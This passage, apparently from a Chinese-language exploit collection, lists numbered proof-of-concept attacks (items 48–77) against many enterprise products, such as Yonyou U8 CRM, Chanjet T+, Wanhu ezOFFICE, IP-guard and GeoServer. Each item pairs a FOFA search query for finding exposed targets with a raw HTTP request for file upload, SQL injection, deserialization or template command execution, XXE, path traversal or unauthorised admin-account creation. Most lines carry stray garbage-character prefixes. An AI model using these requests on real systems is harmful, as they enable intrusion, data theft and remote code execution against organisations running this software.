Cache-Control: max-age=0
+ X! B- u" K4 @* y% _/ OUpgrade-Insecure-Requests: 1
: r" P: r( r6 i4 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: j+ ^# l8 C" T( m4 [9 k% UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
! ]( Y5 ^+ W5 y' AConnection: close
- N0 m& J# `: d) e- }
+ p- \+ m/ d1 S! ^
( F5 P8 ?, A2 f: E0 z% @$ H$ r
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
+ a- D$ h/ _- {; p: DPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
) ^9 t* P  H) W( n& b* OHost: your-ip
+ J6 x; u+ E' w/ f& D/ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 d5 w5 ~$ k( d( S  U6 K" YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
7 e( g/ T" O+ E8 }( M2 A. AContent-Disposition: form-data; name="upload"
upload
+ I5 H2 v9 J: R5 ^- w------269520967239406871642430066855--

$ G$ H& J( e6 s2 l0 t
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
; k$ ^: G) I8 M! XFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
0 D8 @6 l* Q# Z( h0 q: }1 Q6 x9 ?) |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
3 N( x0 Z- U! O8 e, f7 r* X% aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ B4 Y# ?; w! x! UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* a" ]& X8 I/ L( ]* s& ?Connection: close
) O5 I* Z) g, M- j/ y- ?Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
) H6 Z- _8 A+ B' T0 ]9 X8 U
-----------------------------vvv3wdayqv3yppdxvn3w
% W6 Z. R9 {5 `$ q2 yContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
/ a# t0 }/ r: g5 l: X
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

. @1 r+ g0 k, a
http://x.x.x.x/tmpfile/updB3CB.tmp.php
3 V/ D; ]- v! G% r$ N
8 q% z9 O. I8 y4 b$ z50. QDocs Smart School 6.4.1 filterRecords SQL注入
! [" _7 x% v: y! O6 dFOFA：body="close closebtnmodal"
3 |( H/ w. I  Z" n$ U% pPOST /course/filterRecords/ HTTP/1.1
1 Y+ J# J/ \8 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
# w. D7 s0 x) VAccept: */*
Accept-Language: en
; V) n3 ~' V! TContent-Type: application/x-www-form-urlencoded
4 V$ y" k, r6 i2 B7 r; OAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
2 M7 L4 v4 m' D( y6 ]- ?GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 t, D3 g9 ?5 BHost: your-ip
7 T% y7 @0 ^, \2 G( eUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
1 P# J) e8 q! }) TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" N* E2 O) B/ T( d8 e+ rAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 x: _+ J+ h. C0 @% x) \4 |

52. 泛微E-Office json_common.php sql注入
5 |$ a5 `. M9 X6 u7 q+ K1 EFOFA：app="泛微-EOffice"
; W0 ?- `" K( k- p, }9 Y  kPOST /building/json_common.php HTTP/1.1
# K1 P/ f9 l! b5 f9 ]5 UHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# R! F* T' k: a4 Z9 K$ W8 ^* EContent-Length: 87
Accept: */*
: N* ?" Q7 D% r" oAccept-Language: en
5 B4 }1 A0 N: j: |) I: SContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
$ M: r0 _! Z! G9 a8 r1 `

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

! z$ ^# t5 ]0 f5 ?8 f
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
. D8 s" D, d. e6 {) tFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
" D% m8 y4 b1 [& Z& P, {: TPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
5 j% g+ J; a0 @! O7 tUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
! I. O. ?- W8 s2 s1 T- O/ H
4 h  {# }- u% J6 n4 [{
+ J+ L9 m- _1 i: ^% j# L, Q"storeID":{
3 j, Q$ t8 [% s: p* o "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
: J7 Y5 W) n4 ?; k7 u   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) d' y9 {1 f! Z7 s7 s1 {' X    "FileName":"cmd",
+ @! m! b7 R) w9 l- y% n# S( e    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
2 l6 L, J6 w( ]! h0 v5 u" S    }
  }
  }
}
) u8 F8 v. o" O1 F& `9 `2 ]
% ^; r" }) i# `& s! k$ Y2 ^
" t! h; u/ G! {! R! d, Q第二步，访问如下url
; ~1 o8 {- x( J7 x" i. H/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

, F5 p: g8 N9 Z% b
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
' {& P% ^% @. @  Z% N  l: \0 V4 G第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
) @6 C5 J% j; W8 t4 {
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
  m  w& X& ]( wFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
+ K6 ~% E8 H! m1 B* ?7 t7 X2 g. t
+ H$ L4 Y4 Z5 t' [9 n: o{
  "storeID":{
# y8 J3 K# M) K7 I* G/ B% N/ p- x    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" M+ o% b1 S  p# D6 j# H; L   "MethodName":"Start",
    "ObjectInstance":{
) X; J8 Y5 Y2 @% F! L       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
}
, V) t: Q( b* p) v5 b/ S5 n
; ~2 i. P6 l# h0 G
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
& f$ J, c& J/ D# J4 N/ THost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ |' n& K/ Z2 b5 X/ p% QAccept-Encoding: gzip, deflate
0 p/ k! g/ l+ u. g+ T! r) l+ s7 G* MConnection: close
6 b3 S+ E: C3 q* W/ b8 e
% ?; ]+ h2 J! S0 o' E
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
0 u# z; @) y) c8 _0 F9 q% M6 z5 a$ ?Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
: l3 z: W: V$ S6 ]Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
) n/ x4 ?  r7 j! [9 C/ a- r
+ H7 u- N. M+ C. M
  x2 X; v4 b; k59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
$ v' F! [$ @$ N5 O* t/ APOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
0 X$ _' c) g) d, L: ?* ~5 Y* T8 CUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
* w1 Z" g. E+ Q. m+ b& V7 b8 FContent-Length: 1669
Accept: */*
Accept-Language: en
2 \% ~/ i1 h% u3 v5 N4 c* yContent-Type: application/x-www-form-urlencoded
6 }- [# E% ^& O3 |- Z1 t- TAccept-Encoding: gzip

PAYLOAD


/ r, G" g2 C5 U9 A# b60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
" T1 V6 z' R) {GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
7 n* |1 X' D* o( u2 x8 [  e+ N) rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' U* I1 G( x: d  j4 K. k4 v8 ]. v; UConnection: close
2 B: p. L9 I+ c# G0 ]! g# {
% o& z0 x8 |# w4 A7 _/ {
- L, E. ^% x1 _/ K61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. F3 H. z# L* v! k; yFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
8 r! _  S6 x1 T$ j* sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( R3 ?4 b/ q' N9 Z8 D6 MConnection: close
Content-Length: 27
; O( y4 [' H( H& S& JAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
# z2 f8 y  D* z) E& C1 `& ~2 yUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
: h: k0 L1 h/ H3 O  W% B, yConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

3 p  s/ V3 `3 u5 }6 D2 F8 e$ I; c+ Y% v2 g$ h
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
7 ?) }& k. Z, q/ E2 H5 L# D

63. IP-guard WebServer任意文件读取
1 h3 m& M6 w! S9 j( l* j9 ]% @( |/ R7 YIP-guard < 4.82.0609.0
5 g3 |3 w# s8 r! ~FOFA：icon_hash="2030860561"
3 v+ e9 P1 _5 D4 c3 yPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
" s" Q# V2 l* lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
7 o0 u& N2 f$ h( _. O9 r- |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" O( R- a( ]  w) x# `: zAccept-Language: zh-CN,zh;q=0.9
; ~" I2 k  ^7 P; \Connection: close
Content-Type: application/x-www-form-urlencoded

, R7 i  I; ]( }" L; |path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
; Z. t9 D% I6 a# [: U7 A9 y7 _Connection: close
- c, z; C- Q4 y; @+ yContent-Length: 369
6 [$ U1 e$ S* E. ]# xAccept: */*
Accept-Language: en
( v0 U/ L4 k2 a& ~- \- ~8 y) YContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
% y+ a8 y0 f6 B( `
% ?' J, `+ s' e9 a! o& _3 m<?xml version="1.0" encoding="utf-8"?>
8 v0 u: G2 T- R5 C* b* B<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
) v+ `7 j* L. Y/ `5 n<soap:Body>
9 h0 l6 S' j3 n( e. R: s    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
. c1 \: {- o6 ~4 A; U8 {/ _    </GetOSpById>
0 }( S, B7 a2 c; V  </soap:Body>
</soap:Envelope>

/ k- K. o0 E' s+ d+ o: Z' Y
( @# K/ v1 k3 S2 H! T! d65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
  y+ _9 f; x0 W1 ~% qUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
* ~% v, d7 Y( B- ^Accept-Encoding: gzip, deflate
Accept: */*
8 n: z3 u) ?6 |Connection: close
Accept-Language: en
: ?( {4 S9 C( s# D! O& C+ MContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

- B% i" l, Q# s2 Y
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

3 j# A, Z* e: |' ^- dGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
3 f. J+ C- R# y# `2 ~' N( PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
% D3 z- R; g, D  `/ p) ^8 `Accept: */*
Accept-Language: en
Accept-Encoding: gzip
- f0 U4 g1 u* M% d$ ?0 v1 P  M

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
' o  v( N6 C0 m& lFOFA：app="万户网络-ezOFFICE"
+ ]" H# g  ?5 D/ N: InewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
$ z/ u" A0 N( z- X0 HHost: x.x.x.x
% V: B; `# t# j; ], ]% h: EUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4 {/ o0 G' [" A. @2 T* C4 R+ eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
2 x5 [) U# g3 p0 m& M7 ]; L" a$ y& z  AConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
8 u: l9 r1 C) o$ f6 y6 |9 c" SDNT: 1
! B( R/ C0 s: I) C9 t& EUpgrade-Insecure-Requests: 1
- I' S3 y) b- F$ d
--ufuadpxathqvxfqnuyuqaozvseiueerp
: g2 E: m0 H5 ]+ E6 X- w  y7 WContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
# X1 J8 N- ]9 M3 X( S( [
; M9 ^) H- A/ b5 y% B" R' L! K<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

1 n# ~6 i$ z: P) p0 O
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
; r6 ?4 U0 j4 B& ]6 y; v
/ K( S" A8 E+ {  _68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( y6 j8 |$ L- w0 j( X( m3 eGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
/ P: }/ h4 s# t* W( iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
  x% i1 d% C8 `0 dAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

6 h4 `& `" j( Q3 L$ W+ l1 @
6 ~, k% ~- W! g) X69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
9 w. l/ A+ \  L% h4 {+ Y! {4 DGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
  m4 n; j( Z: a" c  P5 SHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


  W* P! ?. r) \8 Q  _$ d70. 万户ezEIP success 命令执行
, E& R- m" U# G5 aFOFA：app="万户网络-ezEIP"
: r9 u, d+ J9 @; i  A, y' HPOST /member/success.aspx HTTP/1.1
* Z$ z" J/ T5 L$ `) H: SHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# |: I1 c& Y  N7 L# b- ySID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
, x. o! J! x6 D& kContent-Type: application/x-www-form-urlencoded
4 M+ @% N8 K; ~5 z+ G5 F" pTYPE: C
& j- J5 b; i, ~2 A5 B$ EContent-Length: 16702

& r6 q/ E7 z9 j! v; J__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
& K3 w- l3 L2 ]$ v$ {8 t+ eHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
6 {4 h# y7 O$ G/ l, [Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: P% N0 g% r4 R* K/ t. G& y( DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& t( K' I/ M! B% v+ AUpgrade-Insecure-Requests: 1


* @, ^# E( p/ Z" }4 \3 b72. 致远OA getAjaxDataServlet XXE
; P' h) i) N4 s. x; d0 A% VFOFA：app="致远互联-OA"
; i5 ?/ d; k  f/ z( |POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
0 V/ K2 y0 _3 X/ R' t& n6 MHost: 192.168.40.131:8099
! b! U! h7 B6 g% Q, c! n" ~User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 E8 b* R8 e( T8 CConnection: close
# y" y+ q5 ^- \0 V' x1 i+ Q: GContent-Length: 583
0 p, P  A; |: P0 o4 w2 uContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, s5 i9 {6 W' U& K; ]% }
0 i# x. g% r& A/ Z" w5 H3 q6 fS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
& E9 m! @6 L2 e5 Q7 R7 P) v1 x
3 G) p0 G3 d4 l4 L+ P- Z
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
0 I0 J. p5 \6 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
6 N- I+ |" N: F! U, h: a! `+ `2 YContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
& _+ x2 V1 Z, v; X# S5 {' _
PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
& V- Y4 Z" M; I8 pFOFA：title="M3-Server"
PAYLOAD
/ G6 M6 A; D% F" ^; ^8 f
8 U3 z) a) p/ }9 U3 w75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
2 c# S1 Z; }/ _$ X8 h) HFOFA：app="TELESQUARE-TLR-2005KSH"
4 y9 \" v& G" i( K4 mGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
3 X. ]2 V4 |2 @8 X. vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
0 F6 C- |) E; o& }  [8 FAccept-Language: en
  I- E! D' @8 |) `: [Accept-Encoding: gzip
: B  t: b. @, B* C, [

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
) K- y7 n2 ?/ X+ a8 k

5 `  B1 d6 \" f( ~7 D* E. c1 F76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
' {3 x$ d" I$ x( e# WPOST /service_transport/service.action HTTP/1.1
$ y. B, B* T3 ]1 l3 wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
' O6 e0 R, t1 z. kConnection: close
% j/ G$ W- j2 ]; a' z' C# H  mContent-Length: 211
9 W. r# S  c6 T/ K% Q4 _: `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ~/ ^: U$ _  F" J# T/ LAccept-Encoding: gzip, deflate
+ c( x) v' L( {  S$ b  r5 V# VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 e: ^# q5 p6 B- l2 fCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
: G# c3 c% `" L4 z  nUpgrade-Insecure-Requests: 1

{
9 [( p6 E' l2 J9 f, R"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
0 P$ {5 n  h6 R. v* T}
. C& Y' y' g- k
" e2 A- y# v  }6 J0 g
5 J+ H. ^# T8 h) ]GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
* B8 U2 `( A  Y2 H2 ^6 xHost: x.x.x.x

, M+ ]8 @/ D' U1 U& D& J$ x
, N* v' L; g" s6 a" ^; ^# o
- D( ?# W2 _1 c" H8 q) w77. F22服装管理软件系统UploadHandler.ashx任意文件上传
( q: r" ^) n" O# VFOFA：body="F22WEB登陆"
! `5 @3 x) P4 N6 YPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
/ f- y1 f8 S  J5 K& e  mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
